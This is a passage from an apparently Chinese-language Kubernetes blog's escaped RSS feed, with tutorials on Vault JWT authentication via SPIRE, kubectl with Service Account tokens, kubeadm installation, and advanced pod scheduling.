   tls_disable = 1
}

storage &amp;quot;file&amp;quot; {
   path = &amp;quot;vault-storage&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;用这个配置文件启动 Vault 服务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ vault server -config ./vault/config.hcl
...
==&amp;gt; Vault server started! Log data will stream in below:
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;初始化-vault-并解封&#34;&gt;初始化 Vault 并解封&lt;/h3&gt;

&lt;p&gt;设置 &lt;code&gt;VAULT_ADDR&lt;/code&gt; 环境变量为 &lt;code&gt;http://127.0.0.1:8200&lt;/code&gt;，然后进行初始化：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ vault operator init
...
Unseal Key 1: VI0/4yK8H/tHC625aDYaf62+Jmo5qqlizn5bVmsbY0j0
Unseal Key 2: UINTf0oPzpiMIhOU3CNzFpo6Pkun36hGKPlcbQUkl1qT
Unseal Key 3: SYO0yTfCn5IkoQ5f/JzE98yQI8Nfiv51gjXZMamyjXn/
Unseal Key 4: 90vXLQJqba32VpBxYr4jB9gRVu6gRC/uWt812oF44zzP
Unseal Key 5: 2eBBVUC63DOPqNKn4WPoxci4VOfchA7tOr3LTqHtS5FC
Initial Root Token: s.PFuCtYgzjh6mRAfAVjfsGv3O
...
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;建议记录上面的内容（Key 和 Token），后面马上就要用到。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;接下来解封 Vault，需要从上面记录的秘钥中选择任意三个进行解封：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ vault operator unseal

Unseal Key (will be hidden): &amp;lt;PASTE ONE OF YOUR KEYS HERE&amp;gt;
   
Key                Value
---                -----
Seal Type          shamir
Initialized        true
Sealed             true # &amp;lt;- 代表是否解封
Total Shares       5
Threshold          3
Unseal Progress    1/3 # &amp;lt;- 解封进度
Unseal Nonce       e1bf3fa2-0058-5703-e2dc-a5c45c1b7f9a
Version            1.3.4
HA Enabled         false
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;返回信息中看到了 &lt;code&gt;Sealed: false&lt;/code&gt; 代表解封成功。&lt;/p&gt;

&lt;h3 id=&#34;启用机密引擎并保存一个测试条目&#34;&gt;启用机密引擎并保存一个测试条目&lt;/h3&gt;

&lt;p&gt;使用 CLI 通过跟用户进行访问，启用 &lt;code&gt;kv&lt;/code&gt; 引擎，然后保存数据。&lt;/p&gt;

&lt;p&gt;首先设置环境变量：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ export VAULT_ADDR=http://127.0.0.1:8200
# 使用前面记录的 Token：
$ export VAULT_TOKEN=&amp;quot;s.PFuCtYgzjh6mRAfAVjfsGv3O&amp;quot; 
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;启用引擎并保存测试数据：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ vault secrets enable -path=secret kv
$ vault kv put secret/my-super-secret test=123
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;设置-spire-和-oidc-的联邦关系&#34;&gt;设置 SPIRE 和 OIDC 的联邦关系&lt;/h2&gt;

&lt;p&gt;启用 Vault 的 JWT 认证：&lt;code&gt;vault auth enable jwt&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;设置 OIDC 发现地址：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ vault write auth/jwt/config \
oidc_discovery_url=https://oidc-discovery.example.org \
default_role=“dev”
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;设置一个 &lt;code&gt;my-dev-policy&lt;/code&gt; 策略，它将会用在后面创建的&lt;code&gt;dev&lt;/code&gt; 角色上。&lt;/p&gt;

&lt;p&gt;进入源码目录的 &lt;code&gt;./k8s/oidc-vault&lt;/code&gt; 目录，在 &lt;code&gt;vault-policy.hcl&lt;/code&gt; 中定义策略，该策略具有读取 &lt;code&gt;/secret/my-super-secret&lt;/code&gt; 的权限：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-hcl&#34;&gt;path &amp;quot;secret/my-super-secret&amp;quot; {
   capabilities = [&amp;quot;read&amp;quot;]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后在 Vault 中加载新建的策略：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ vault policy write my-dev-policy ./vault/vault-policy.hcl
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;创建 &lt;code&gt;dev&lt;/code&gt; 角色，绑定 JWT 的 &lt;code&gt;subject&lt;/code&gt; 和 &lt;code&gt;audience&lt;/code&gt;，并配置 &lt;code&gt;sub&lt;/code&gt;，声明这个角色会用于认证。有效期设置为 24 小时，这个 Token 会使用 &lt;code&gt;my-dev-policy&lt;/code&gt; 策略：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ vault write auth/jwt/role/dev \
    role_type=jwt user_claim=sub \
    bound_audiences=TESTING \
    bound_subject=spiffe://example.org/ns/default/sa/default token_ttl=24h \
    token_policies=my-dev-policy
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;获取-vault-凭据&#34;&gt;获取 Vault 凭据&lt;/h2&gt;

&lt;p&gt;接下来我们来获取用于 Vault 的 Token。这里使用客户端工作负载通过 SPIRE 联邦来获取和进行认证。&lt;/p&gt;

&lt;p&gt;首先获取客户端工作负载的 Pod 名称，例如 &lt;code&gt;client-7c94755d97-mq8dl&lt;/code&gt;。接下来获取客户端的 SVID：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec client-7c94755d97-mq8dl -- /opt/spire/bin/spire-agent api fetch jwt \
   -audience TESTING \
   -socketPath /run/spire/sockets/agent.sock
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;从响应消息中获取 JWT 信息。他应该位于相应信息的 SVID 附近（例如 &lt;code&gt;token(spiffe://xxxxx)&lt;/code&gt;）。是一个长字符串。&lt;/p&gt;

&lt;h2 id=&#34;认证&#34;&gt;认证&lt;/h2&gt;

&lt;p&gt;创建一个 &lt;code&gt;payload.json&lt;/code&gt; 文件，包含如下 JSON 内容，将上个步骤中获得的 Token 替换到文件里：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{&amp;quot;role&amp;quot;: &amp;quot;dev&amp;quot;,&amp;quot;jwt&amp;quot;: &amp;quot;&amp;lt;PASTE_YOUR_JWT_TOKEN_HERE&amp;gt;&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;用这个 Payload 进行认证：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ curl --request POST \
    --data @/path/to/payload.json \
    http://localhost:8200/v1/auth/jwt/login

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;返回信息大概如下格式：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
   &amp;quot;request_id&amp;quot;: &amp;quot;78bc2546-8e3f-900e-ac32-ae590870ea67&amp;quot;,
   &amp;quot;lease_id&amp;quot;: &amp;quot;&amp;quot;,
   &amp;quot;renewable&amp;quot;: false,
   &amp;quot;lease_duration&amp;quot;: 0,
   &amp;quot;data&amp;quot;: null,
   &amp;quot;wrap_info&amp;quot;: null,
   &amp;quot;warnings&amp;quot;: null,
   &amp;quot;auth&amp;quot;: {
      &amp;quot;client_token&amp;quot;: &amp;quot;s.lQ3KIYjUnFwCJkUnOKKF8kxn&amp;quot;, # &amp;lt;- 客户端 Token
      &amp;quot;accessor&amp;quot;: &amp;quot;ZdVaNVQDcOL15FNSjyWogwiX&amp;quot;,
      &amp;quot;policies&amp;quot;: [
            &amp;quot;default&amp;quot;,
            &amp;quot;my-dev-policy&amp;quot;  # &amp;lt;- 我们创建的策略
      ],
      &amp;quot;token_policies&amp;quot;: [
            &amp;quot;default&amp;quot;,
            &amp;quot;my-dev-policy&amp;quot;
      ],
      &amp;quot;metadata&amp;quot;: {
            &amp;quot;role&amp;quot;: &amp;quot;dev&amp;quot;
      },
      &amp;quot;lease_duration&amp;quot;: 86400,
      &amp;quot;renewable&amp;quot;: true,
      &amp;quot;entity_id&amp;quot;: &amp;quot;5e467f7c-7270-6e2d-2929-e76b9d2b5b32&amp;quot;,
      &amp;quot;token_type&amp;quot;: &amp;quot;service&amp;quot;,
      &amp;quot;orphan&amp;quot;: true
   }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;测试访问机密数据&#34;&gt;测试访问机密数据&lt;/h2&gt;

&lt;p&gt;接下来用客户端 Token 访问数据：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ curl \
     -H &amp;quot;X-Vault-Token: &amp;lt;PASTE_YOUR_client_token_HERE&amp;gt;&amp;quot; \
     http://127.0.0.1:8200/v1/secret/my-super-secret
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;CURL 使用 &lt;code&gt;client_token&lt;/code&gt; 作为凭据，访问 Vault 服务的 REST API。Vault API 会返回下面的 JSON 输出，其中包含我们写入的样本数据：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
   &amp;quot;request_id&amp;quot;: &amp;quot;1a10d3f7-e3b4-2c05-48c5-94a04f3758bc&amp;quot;,
   &amp;quot;lease_id&amp;quot;: &amp;quot;&amp;quot;,
   &amp;quot;renewable&amp;quot;: false,
   &amp;quot;lease_duration&amp;quot;: 2764800,
   &amp;quot;data&amp;quot;: {
      &amp;quot;test&amp;quot;: &amp;quot;123&amp;quot; # 测试数据
   },
   &amp;quot;wrap_info&amp;quot;: null,
   &amp;quot;warnings&amp;quot;: null,
   &amp;quot;auth&amp;quot;: null
}
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>在 kubectl 中使用 Service Account Token</title>
      <link>/post/account-token-for-kubectl/</link>
      <pubDate>Thu, 11 May 2017 23:27:37 +0800</pubDate>
      <guid>/post/account-token-for-kubectl/</guid>
      <description>

&lt;p&gt;在运行基于 K8S 的 CI/CD 过程中，经常有需求在容器中对 Kubernetes 的资源进行操作，其中隐藏的安全问题，目前推荐的最佳实践也就是使用 Service Account 了。而调试账号能力的最好方法，必须是 kubectl 了。下面就讲讲如何利用 kubectl 引用 Servie Account 凭据进行 K8S 操作的方法。&lt;/p&gt;

&lt;p&gt;这里用 default Service Account 为例。&lt;/p&gt;

&lt;h2 id=&#34;假设&#34;&gt;假设&lt;/h2&gt;

&lt;p&gt;目前已经能对目标集群进行操作，文中需要的权限主要就是读取命名空间中的 Secret 和 Service Account。&lt;/p&gt;

&lt;h2 id=&#34;准备配置文件&#34;&gt;准备配置文件&lt;/h2&gt;

&lt;p&gt;新建一个 Yaml 文件，命名请随意，例如 kubectl.yaml。内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;
apiVersion: v1
kind: Config
clusters:
- cluster:
    certificate-authority-data: {ca data}
    server: https://{server}
  name: awesome-cluster
users:
- user:
    token: {token}
  name: account
- context:
    cluster: awesome-cluster
    user: account
  name: sa
current-context: sa
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;其中的 {ca data} 可以从现有连接凭据中获取。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;{server}&lt;/code&gt;：服务器地址&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;{token}&lt;/code&gt;：将在后面设置&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;获取数据&#34;&gt;获取数据&lt;/h2&gt;

&lt;p&gt;首先查看 Service Account 的 Token 在哪里：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubectl get serviceaccount default -o yaml&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;返回内容如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: ServiceAccount
metadata:
  creationTimestamp: 2017-05-07T10:41:50Z
  name: default
  namespace: default
  resourceVersion: &amp;quot;26&amp;quot;
  selfLink: /api/v1/namespaces/default/serviceaccounts/default
  uid: c715217d-3311-11e7-a4ae-42010a8c0095
secrets:
- name: default-token-7h4bd
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里我们看到他包含了 secret: &amp;ldquo;default-token-7h4bd&amp;rdquo;，获取其中的内容：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubectl get secret default-token-7h4bd -o yaml&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
data:
  ca.crt: [ca data]
  namespace: ZGVmYXVsdA==
  token: [token data]
  kind: Secret
metadata:
  annotations:
    kubernetes.io/service-account.name: default
    kubernetes.io/service-account.uid: c715217d-3311-11e7-a4ae-42010a8c0095
  creationTimestamp: 2017-05-07T10:41:50Z
  name: default-token-7h4bd
  namespace: default
  resourceVersion: &amp;quot;24&amp;quot;
  selfLink: /api/v1/namespaces/default/secrets/default-token-7h4bd
  uid: c71cc72d-3311-11e7-a4ae-42010a8c0095
type: kubernetes.io/service-account-token
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面 Token Data 内容就是我们需要的认证 Token 了&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;export my_token=&amp;quot;[tokendata]&amp;quot;
kubectl --kubeconfig=kubectl.yaml \
config set-credentials account \
--token=`echo ${tokendata} | base64 -D`
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样就把 Service Account 的 Token 取出来，并保存在 kubectl.yaml 中。利用这一配置文件就可以凭 Service Account 的身份来执行 kubectl 指令了。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>kubeadm 安装 Kubernetes 1.6.2</title>
      <link>/post/kubeadm-install-k8s/</link>
      <pubDate>Mon, 08 May 2017 19:20:39 +0800</pubDate>
      <guid>/post/kubeadm-install-k8s/</guid>
      <description>

&lt;p&gt;因为一些莫可名状的原因，国内网络使用 Kubeadm 颇有难度，这里大概说一下过程中的一些坑。&lt;/p&gt;

&lt;p&gt;主体流程遵循官网指南：&lt;strong&gt;&lt;a href=&#34;https://kubernetes.io/docs/getting-started-guides/kubeadm/&#34; target=&#34;_blank&#34;&gt;https://kubernetes.io/docs/getting-started-guides/kubeadm/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&#34;1-4-准备工作&#34;&gt;&lt;sup&gt;1&lt;/sup&gt;&amp;frasl;&lt;sub&gt;4&lt;/sub&gt; 准备工作&lt;/h3&gt;

&lt;p&gt;这里用包管理的方式安装 kubeadm、Docker 等组件。需要注意一点点的是，如果用的非 Root 用户，要注意 sudo 的时候的环境代理设置问题。或者干脆在 apt/yum 的配置文件中写入代理服务器。&lt;/p&gt;

&lt;p&gt;另外这里安装 Docker 之后，注意给 Docker 配置代理。或者可以直接想法子搞到下面列表中的镜像，并导入 Docker 之中：&lt;/p&gt;

&lt;h3 id=&#34;镜像准备&#34;&gt;镜像准备&lt;/h3&gt;

&lt;p&gt;下面提到的镜像基于目前的 1.6.2 版本，每次更新都会有不同。&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Image&lt;/th&gt;
&lt;th&gt;Ver&lt;/th&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;gcr.io/google_containers/kube-proxy-amd64&lt;/td&gt;
&lt;td&gt;v1.6.2&lt;/td&gt;
&lt;td&gt;Kubernetes&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;gcr.io/google_containers/kube-controller-manager-amd64&lt;/td&gt;
&lt;td&gt;v1.6.2&lt;/td&gt;
&lt;td&gt;Kubernetes&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;gcr.io/google_containers/kube-apiserver-amd64&lt;/td&gt;
&lt;td&gt;v1.6.2&lt;/td&gt;
&lt;td&gt;Kubernetes&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;gcr.io/google_containers/kube-scheduler-amd64&lt;/td&gt;
&lt;td&gt;v1.6.2&lt;/td&gt;
&lt;td&gt;Kubernetes&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;gcr.io/google_containers/etcd-amd64&lt;/td&gt;
&lt;td&gt;3.0.17&lt;/td&gt;
&lt;td&gt;Kubernetes&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;gcr.io/google_containers/pause-amd64&lt;/td&gt;
&lt;td&gt;3.0&lt;/td&gt;
&lt;td&gt;Kubernetes&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;gcr.io/google_containers/k8s-dns-sidecar-amd64&lt;/td&gt;
&lt;td&gt;1.14.1&lt;/td&gt;
&lt;td&gt;DNS&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;gcr.io/google_containers/k8s-dns-kube-dns-amd64&lt;/td&gt;
&lt;td&gt;1.14.1&lt;/td&gt;
&lt;td&gt;DNS&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64&lt;/td&gt;
&lt;td&gt;1.14.1&lt;/td&gt;
&lt;td&gt;DNS&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;gcr.io/google_containers/etcd&lt;/td&gt;
&lt;td&gt;2.2.1&lt;/td&gt;
&lt;td&gt;Calico&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;quay.io/calico/node&lt;/td&gt;
&lt;td&gt;v1.1.3&lt;/td&gt;
&lt;td&gt;Calico&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;quay.io/calico/cni&lt;/td&gt;
&lt;td&gt;v1.8.0&lt;/td&gt;
&lt;td&gt;Calico&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;quay.io/calico/kube-policy-controller&lt;/td&gt;
&lt;td&gt;v0.5.4&lt;/td&gt;
&lt;td&gt;Calico&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;2-4-master-初始化&#34;&gt;&lt;sup&gt;2&lt;/sup&gt;&amp;frasl;&lt;sub&gt;4&lt;/sub&gt; Master 初始化&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;kubeadm init&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;这里的几个问题：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;如果准备采用 flannel 插件，需要 &lt;code&gt;-pod-network-cidr 10.244.0.0/16&lt;/code&gt; 参数&lt;/li&gt;
&lt;li&gt;Ubuntu 下可能会出现无限等待 Node 加入的情况，可能的原因是 /etc/resolv.conf 中有关于 localhost 的 search 记录，删掉这行就能解决。&lt;/li&gt;
&lt;li&gt;如果准备采用 Calico 插件，那么要注意 Calico 的 YAML 中的 ip pool 跟集群设置一致。&lt;/li&gt;
&lt;li&gt;如果不是预先准备好的备份，过程会比较长，耐心。。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Init 成功之后会出一堆文本信息，其中包含几点内容，最好保存下来：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;自动生成的 kubectl config 文件，可以复制到 ~/.kube/config 中作为缺省 kubectl 使用。&lt;/li&gt;
&lt;li&gt;把新节点加入集群的方法。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另外这里还有个提示——没有安装 Pod Network。&lt;/p&gt;

&lt;h2 id=&#34;3-4-安装-pod-network&#34;&gt;&lt;sup&gt;3&lt;/sup&gt;&amp;frasl;&lt;sub&gt;4&lt;/sub&gt; 安装 Pod Network&lt;/h2&gt;

&lt;p&gt;这一步很重要，所有的应用包括 Kube DNS 在内，都依赖于此。&lt;/p&gt;

&lt;p&gt;如上文所示，准备使用的是 Calico，这里值得注意的一坑是，不同版本的 Kubernetes 会有不同的 Calico 安装，1.6 版本应该使用的是：&lt;code&gt;kubectl apply -f http://docs.projectcalico.org/v2.1/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;http://docs.projectcalico.org/v2.1/getting-started/kubernetes/installation/hosted/kubeadm/&lt;/code&gt; 还有一些其他的安装方式可以参考。&lt;/p&gt;

&lt;h3 id=&#34;calico-的注意事项&#34;&gt;Calico 的注意事项&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;他的 ETCD 服务器要求装在 Master 所在的 Node 上，使用的是 nodeSelector 的方式，选择标签：&lt;code&gt;node-role.kubernetes.io/master: &amp;quot;&amp;quot;&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;上文提到的 pod network cidr 和 ip pool 的一致性问题&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--service-cidr&lt;/code&gt; 和 IP Pool 不能重叠&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;4-4-加入节点&#34;&gt;&lt;sup&gt;4&lt;/sup&gt;&amp;frasl;&lt;sub&gt;4&lt;/sub&gt; 加入节点&lt;/h3&gt;

&lt;p&gt;在其他 Node 上做好准备工作之后，用&lt;code&gt;kubeadm init&lt;/code&gt;命令中提到的&lt;code&gt;kubeadmin join&lt;/code&gt;方法加入集群。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 的高级调度</title>
      <link>/post/adv-scheduler-in-k8s/</link>
      <pubDate>Sat, 06 May 2017 09:33:47 +0800</pubDate>
      <guid>/post/adv-scheduler-in-k8s/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/blog/2017/03/advanced-scheduling-in-kubernetes&#34; target=&#34;_blank&#34;&gt;Advanced Scheduling in Kubernetes
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Kubernetes 的调度器能够满足绝大多数要求，例如保证 Pod 只在资源足够的节点上运行，会尝试把同一个集合的 Pod 分散在不同的节点上，还会尝试平衡不同节点的资源使用率等。&lt;/p&gt;

&lt;p&gt;不过有时候你希望控制 Pod 的调度。例如你希望确认某个 Pod 只运行在有特定硬件的节点上；或者想要让频繁互相通信的服务能就近部署；又或者你希望用独立的节点给部分用户提供服务。而且最终，用户总是比 Kubernetes 更了解自己的应用。&lt;/p&gt;

&lt;p&gt;所以 Kubernetes 1.6 提供了四个高级调度功能：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;节点亲和/互斥&lt;/li&gt;
&lt;li&gt;Taint（污染、变质） 和 Tolerations（容忍、耐受）&lt;/li&gt;
&lt;li&gt;Pod 的亲和/互斥&lt;/li&gt;
&lt;li&gt;以及自定义调度&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;上述功能在 Kubernetes 1.6 中还属于 Beta 阶段。&lt;/p&gt;

&lt;h2 id=&#34;节点亲和-互斥&#34;&gt;节点亲和/互斥&lt;/h2&gt;

&lt;p&gt;节点的亲和和互斥是一种设置调度器选择节点的规则。这个规则是 nodeSelector（1.0 开始就有的功能）的衍生物。这一规则使用类似给 Node 添加自定义标签，在 Pod 中定义选择器的方式。规则在调度器中可以有必要和推荐两种级别。&lt;/p&gt;

&lt;p&gt;必要的规则要求 Pod 必须调度到某指定节点上。如果没有符合条件（当然也包括通用的调度要求，例如节点必须有足够的资源）。如果没有符合要求的节点，Pod 就不会被调度，必要规则在 &lt;code&gt;nodeAffinity&lt;/code&gt; 的 &lt;code&gt;requiredDuringSchedulingIgnoredDuringExecution&lt;/code&gt; 字段中定义。&lt;/p&gt;

&lt;p&gt;例如在一个 GCE 上的多区域 Kubernetes 集群中，我们希望把 Pod 运行在一个 &lt;code&gt;us-central1-a&lt;/code&gt; 的区域中，我们可以在 Pod 中使用如下的亲和规则：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;
affinity:
  nodeAffinity:
    requiredDuringSchedulingIgnoredDuringExecution:
      nodeSelectorTerms:
        - matchExpressions:
          - key: &amp;quot;failure-domain.beta.kubernetes.io/zone&amp;quot;
            operator: In
            values: [&amp;quot;us-central1-a&amp;quot;]

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;IgnoredDuringExecution&lt;/code&gt; 表示在 Pod 已经成功运行后，如果 Node 的标签发生了变化导致其不再符合 Pod 的调度要求，Pod 依然会继续运行；&lt;code&gt;requiredDuringSchedulingRequiredDuringExecution&lt;/code&gt; 则相反，一旦出现这种变化，他会立即从 Node 上驱逐 Pod。&lt;/p&gt;

&lt;p&gt;推荐级别的规则表示优先选择符合规则要求的节点，如果找不到，则降级选择普通节点。我们可以用优先规则代替必要规则，选择&lt;code&gt;us-central1-a&lt;/code&gt;进行 Pod 的运行，只要修改成&lt;code&gt;preferredDuringSchedulingIgnoredDuringExecution&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;
affinity:
  nodeAffinity:
    preferredDuringSchedulingIgnoredDuringExecution:
      nodeSelectorTerms:
        - matchExpressions:
          - key: &amp;quot;failure-domain.beta.kubernetes.io/zone&amp;quot;
            operator: In
            values: [&amp;quot;us-central1-a&amp;quot;]

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;节点的互斥可以利用否定操作符来实现。所以如果让 Pod 避免运行在&lt;code&gt;us-central1-a&lt;/code&gt;，可以这样实现：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;
affinity:
  nodeAffinity:
    requiredDuringSchedulingIgnoredDuringExecution:
      nodeSelectorTerms:
        - matchExpressions:
          - key: &amp;quot;failure-domain.beta.kubernetes.io/zone&amp;quot;
            operator: NotIn
            values: [&amp;quot;us-central1-a&amp;quot;]

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可用的操作符包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In&lt;/li&gt;
&lt;li&gt;NotIn&lt;/li&gt;
&lt;li&gt;Exists&lt;/li&gt;
&lt;li&gt;DoesNotExist&lt;/li&gt;
&lt;li&gt;Gt&lt;/li&gt;
&lt;li&gt;Lt&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;需要这一功能的场景还包括节点的硬件结构、操作系统版本或者特殊硬件等。节点的亲和与互斥在 Kubernetes 1.6 之中处于 Beta 阶段。&lt;/p&gt;

&lt;h2 id=&#34;taint-污染-变质-和-tolerations-容忍-耐受&#34;&gt;Taint（污染、变质）和 Tolerations（容忍、耐受）&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;这俩名词让我非常挠头，不好下嘴。&lt;/p&gt;

&lt;p&gt;另外这里的阐述比起 Kubectl help taint 来说，清晰程度差了太多。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;这一功能让用户可以把一个节点标记为 taint 的话，除非 Pod 被标识为可以耐受污染节点，否则不会有任何 Pod 被调度到该节点上。之所以把 taint 标记到节点而不是像亲和性一样标记在 Pod 上，是因为在这种情况下，绝大多数的 Pod 都不应该部署到 Taint 的节点上。例如用户可能希望把主节点保留给 Kubernetes 系统组件使用，或者把一部分节点保留给一组用户，或者把一组具有特殊硬件的服务器保留给有需求的 Pod。&lt;/p&gt;

&lt;p&gt;可以用 &lt;code&gt;kubectl&lt;/code&gt; 命令对节点进行 taint 操作：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubectl taint nodes node1 key=value:NoSchedule&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;在节点上创建了一个 tiant，一个 Pod 必须在 Spec 中做出这样的 Toleration 定义，才能调度到该节点：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;
tolerations: 
- key: &amp;quot;key&amp;quot;
  operator: &amp;quot;Equal&amp;quot;
  value: &amp;quot;value&amp;quot;
  effect: &amp;quot;NoSchedule&amp;quot;

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;effect 除了 NoSchedule 这个值之外，还有一个 Prefer 版本的 &lt;code&gt;PreferNoSchedule&lt;/code&gt;，另外还有一个 &lt;code&gt;NoExecute&lt;/code&gt; 选项，这个选项意味着这一 Taint 生效之时，如果该节点内正在运行的 Pod 没有对应的 Tolerate 设置，会被直接逐出。&lt;/p&gt;

&lt;p&gt;目前这一特性在 Kubernetes 1.6 升级为 Beta，我们加入了一个 Alpha 特性，可以指定在节点遇到问题的时候，该节点之上的 Pod 可以保持该绑定的时间长度（缺省五分钟）。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;参考：
&lt;a href=&#34;https://kubernetes.io/docs/user-guide/node-selection/#per-pod-configurable-eviction-behavior-when-there-are-node-problems-alpha-feature&#34; target=&#34;_blank&#34;&gt;https://kubernetes.io/docs/user-guide/node-selection/#per-pod-configurable-eviction-behavior-when-there-are-node-problems-alpha-feature&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;pod-的亲和与互斥&#34;&gt;Pod 的亲和与互斥&lt;/h2&gt;

